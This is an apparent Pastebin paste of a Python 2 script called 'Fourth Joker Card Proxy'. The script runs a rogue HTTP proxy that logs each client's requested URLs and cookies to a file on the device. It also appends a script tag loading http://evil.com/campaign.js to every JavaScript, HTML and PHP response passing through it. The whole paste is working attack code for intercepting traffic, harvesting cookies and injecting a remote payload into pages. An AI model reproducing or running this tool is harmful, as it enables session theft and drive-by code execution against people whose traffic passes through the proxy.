Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- injectJS = "\r\n(function(){'use strict';(function(d,script){script=d.createElement('script');script.type='text/javascript';script.async=true;script.onload=function(){};script.src='http://evil.com/campaign.js';d.getElementsByTagName('head')[0].appendChild(script)}(document))})();\r\n"
- injectHTML = "<html><script type='text/JavaScript'>" + injectJS + "</script></html>"
- blackList = ["http://evil.com/campaign.js"]
- '''
- CONNECT www.google.com:443 HTTP/1.1
- Host: www.google.com:443
- Proxy-Connection: keep-alive
- User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.85 Safari/537.36
- '''
- import socket
- import urllib2
- from threading import Thread
- def Server():
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- print "[.] Binding to 0.0.0.0:8080..."
- try:
- s.bind(("", 8080))
- except:
- print "[-] Unable to bind to port 8080!"
- return
- s.listen(100000)
- fh = open("/sdcard/ProxyRequests.log", "a")
- logdata = "[+] Fourth Joker Card Proxy started!"
- print logdata
- fh.write(logdata + "\r\n")
- while True:
- (c, addr) = s.accept()
- print "[+] " + addr[0] + ":" + str(addr[1]) + " connected!"
- try:
- Thread(target=Handler, args=(c, addr, fh)).start()
- except:
- try:
- c.close()
- except:
- pass
- pass
- def Handler(c, addr, fh):
- try:
- req = c.recv(8192)
- req = req.split("\r\n")
- url = req[0].split(" ")[1]
- Cookie = ""
- opener = urllib2.build_opener()
- for i in xrange(0, len(req) - 1):
- if req[i].startswith("User-Agent: "):
- UserAgent = " ".join(req[3].split(" ")[1:])
- opener.addheaders = [('User-Agent', UserAgent)]
- if req[i].startswith("Cookie: "):
- Cookie = " ".join(req[6].split(" ")[1:])
- opener.addheaders = [('Cookie', Cookie)]
- except Exception, e:
- try:
- c.send("<b>Sorry, we have encountered an error processing your request: <i>" + str(e) + "</i></b>")
- except:
- pass
- print "[-] Error processing request: " + str(e)
- return
- try:
- responce = opener.open(url).read()
- logdata = "[+] " + addr[0] + ":" + str(addr[1]) + " requests " + url
- if Cookie != "":
- logdata += " with cookie: " + Cookie
- print logdata
- fh.write(logdata + "\r\n")
- if url.endswith('js'): #inject into all javascript files
- logdata = "[+] " + addr[0] + ":" + str(addr[1]) + " requested JS file! Injecting..."
- print logdata
- fh.write(logdata + "\r\n")
- if url in blackList:
- c.send(responce)
- else:
- c.send(responce + "\r\n" + injectJS)
- elif url.endswith("html") or url.endswith("php") or url.endswith("/"):
- print "[+] " + addr[0] + ":" + str(addr[1]) + " requested HTML file! Injecting..."
- logdata = "[+] " + addr[0] + ":" + str(addr[1]) + " requested HTML file! Injecting..."
- print logdata
- fh.write(logdata + "\r\n")
- if url in blackList:
- c.send(responce)
- else:
- c.send(responce + "\r\n" + injectHTML)
- else:
- c.send(responce)
- except Exception, e:
- try:
- c.send("<b>Proxy Error: <i>" + str(e) + "</i></b>")
- except:
- pass
- try:
- c.close()
- except:
- pass
- if __name__=="__main__":
- Server()
Advertisement
Add Comment
Please, Sign In to add comment